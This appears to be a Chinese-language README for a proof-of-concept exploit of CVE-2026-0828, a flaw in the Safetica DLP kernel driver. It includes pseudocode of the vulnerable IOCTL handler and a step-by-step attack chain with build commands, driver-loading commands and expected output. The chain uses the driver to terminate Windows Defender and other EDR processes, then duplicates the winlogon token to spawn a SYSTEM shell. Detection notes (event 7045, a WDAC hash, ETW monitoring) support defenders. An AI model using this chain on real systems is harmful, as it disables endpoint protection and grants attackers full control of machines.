Safetica DLP 内核驱动程序(ProcessMonitorDriver.sys)暴露了一个未经认证的 IOCTL,允许任何用户态调用者通过内核上下文中的 ZwTerminateProcess 终止任意进程,从而绕过 PPL(轻量级受保护进程)保护。
CVSS: 8.8(高危)· 类型: BYOVD、LPE · 平台: Windows x64
IOCTL 0xB822200C 对应的 IRP_MJ_DEVICE_CONTROL 处理程序以 PROCESS_ALL_ACCESS (0x1FFFFF) 权限调用 ZwOpenProcess,随后使用直接取自输入缓冲区的 PID 调用 ZwTerminateProcess — 全程未进行任何权限或调用者验证。
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
由于该调用在内核上下文中发起,受 PPL 保护的进程(Windows Defender、EDR 代理)可被终止。
受影响版本: Safetica < 11.26.19 / < 10.5.150
修复版本: Safetica 11.26.19、11.29.8、10.5.150 — IOCTL 处理程序中已添加权限检查
参考资料: KOSEC 公告 · CERT VU#818729
Admin privileges
│
├─► Load ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► PHASE 1: Kill EDR via IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► PHASE 2: Token duplication → SYSTEM shell
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| 文件 | 描述 |
|---|---|
exploit.c | 完整 PoC — 终止 EDR,以 NT AUTHORITY\SYSTEM 身份启动 cmd.exe |
需要 Visual Studio(x64 本机工具命令提示符):
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
第 1 步 — 加载驱动程序(管理员 CMD):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
第 2 步 — 运行 PoC:
exploit.exe
预期输出:
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
将打开一个以 NT AUTHORITY\SYSTEM 身份运行的新 cmd.exe 窗口。
事件 ID 7045 — 新的内核服务安装:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
WDAC 阻止列表(SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: 监控对 \\.\STProcessMonitorDriver 的 DeviceIoControl 调用。
仅限经授权的安全研究和实验室环境使用。请勿将其用于你不拥有、或未经书面许可测试的系统。